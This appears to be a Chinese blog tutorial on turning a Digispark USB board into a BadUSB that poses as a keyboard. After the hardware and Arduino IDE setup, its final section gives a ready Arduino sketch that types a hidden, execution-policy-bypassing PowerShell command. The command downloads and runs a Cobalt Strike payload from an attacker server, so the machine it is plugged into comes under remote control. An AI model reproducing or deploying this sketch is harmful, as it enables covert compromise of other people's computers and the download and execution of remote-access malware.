BadUsb制作,实现CobaltStrike远控上线


什么是BadUsb?

​ BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB 设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。

BadUsb攻击原理

​ 利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

0x01 硬件准备

在购物网站搜索Digispark,一个板子大概在十几块。

Digispark驱动安装

首先需要电脑能识别到你的Digispark,不然后续无法对板子进行烧录。

驱动下载地址:https://github.com/digistump/DigistumpArduino

找到适合自己电脑系统的驱动,我这里用的Windows。

根据自己电脑系统不同位数选择不同驱动安装。

安装成功后在把Digispark插到电脑上,就识别出来。

0x02 Arduino IDE软件安装

1. 安装Arduino

下载地址:https://arduino.me/download

选择 Arduino IDE 1.18.19版本,安装过程全都默认下一步就好。

2. Arduino的Digispark配置

Arduino默认是不支持对Digispark进行烧录的,需要在Arduino中下载Digispark包安装后才可以进行烧录。

官方开发板管理器网址:http://digistump.co/package_digistump_index.json

文件首选项中配置开发板管理器的网址。

配置完成后打开工具开发板开发板管理器

搜索digispark,选择Digistump AVR Boards安装。

“下载 http://digistump.co/package_digistump_index.json 时出错” 问题解决

方法1:因为官方的网址是国外的,很有可能会出错,可以使用翻墙软件解决此错误

方法2:可以观看此up主视频 bilibili

安装完成后在工具开发版中选中Digispark(Default-16.5mhz)

0x03 BadUsb基本制作流程

1. 编写代码

不太懂代码的朋友可以使用Automator工具辅助编写代码。

下载地址:https://github.com/CYRO4S/Automator

在Arduino工具中输入演示代码,代码主要内容是使用cmd打开记事本然后输出“Hellow”。

#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.sendKeyStroke(0);


DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.println("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000);
DigiKeyboard.println("Hellow");
 
}

void loop() {
   
}

2. 烧录程序

先点击上传,提示我们Plug in device now... (will timeout in 60 seconds)意思是在60秒内把板子插到电脑上。

随后插入板子,提示Micronucleus done. Thank you!烧录成功。

3. 效果演示

0x04 CobaltStrike远控上线

Ardunio代码

首先需要同CS生成钓鱼代码,攻击钓鱼攻击Scripted Web Delivery(S)

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网ip:8888/a'))"

主要用到代码中的payload的地址:http://公网ip:8888/a

#include "DigiKeyboard.h"

 
void setup() {
 
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //发送win+R
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://公网ip:8888/a');"));  //向运行对话框输入PowerShell代码远程执行CS上线指令
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);  //发送一个回车键
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER); 
 
}
void loop() {
}

效果演示


文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
 上一篇
个人博客搭建 个人博客搭建
在工作之余前前后后大概花了半个月的时间,目前个人博客已经完善的差不多了,现在写个文章做个阶段总结,后续如果有更新的地方,会及时补充。本博客基于Hexo框架,采用hexo-theme-matery主题,并在此基础上做了改进。
2023-01-16
下一篇 
shellcode免杀-远程加载shellcode shellcode免杀-远程加载shellcode
看到网上的前辈们分享各种免杀方法,在好奇心的驱使下也做了练习,最终实现了针对主流杀毒软件的免杀处理
2022-12-31
  目录